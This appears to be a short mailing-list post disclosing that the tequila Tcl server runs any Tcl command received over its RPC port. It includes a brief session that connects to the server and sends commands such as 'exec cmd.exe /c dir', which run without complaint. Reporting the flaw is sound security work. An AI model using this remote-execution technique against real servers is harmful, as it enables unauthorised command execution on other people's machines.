One of the bumps appears to be security issues.  It looks to me like
the tequila server allows any Tcl command to be sent through its rpc
mechanism.

Example:

In one window:
tclkitsh tequila.kit server

In another:
tclktish
% source tequila.kit
% source tequila.kit/t2.tcl
% package require tequila
2.02
% set c [tequila::rpc 127.0.0.1 18396]
rpc0
% $c send puts hi
% $c send puts [glob *]
% $c send puts [exec cmd.exe /c dir]
% exit

In all calls to send, the first window shows that all the commands run
without complaint.

sdx version tequila.kit:
2005/03/15 15:47:19  14876-12477  tequila.kit
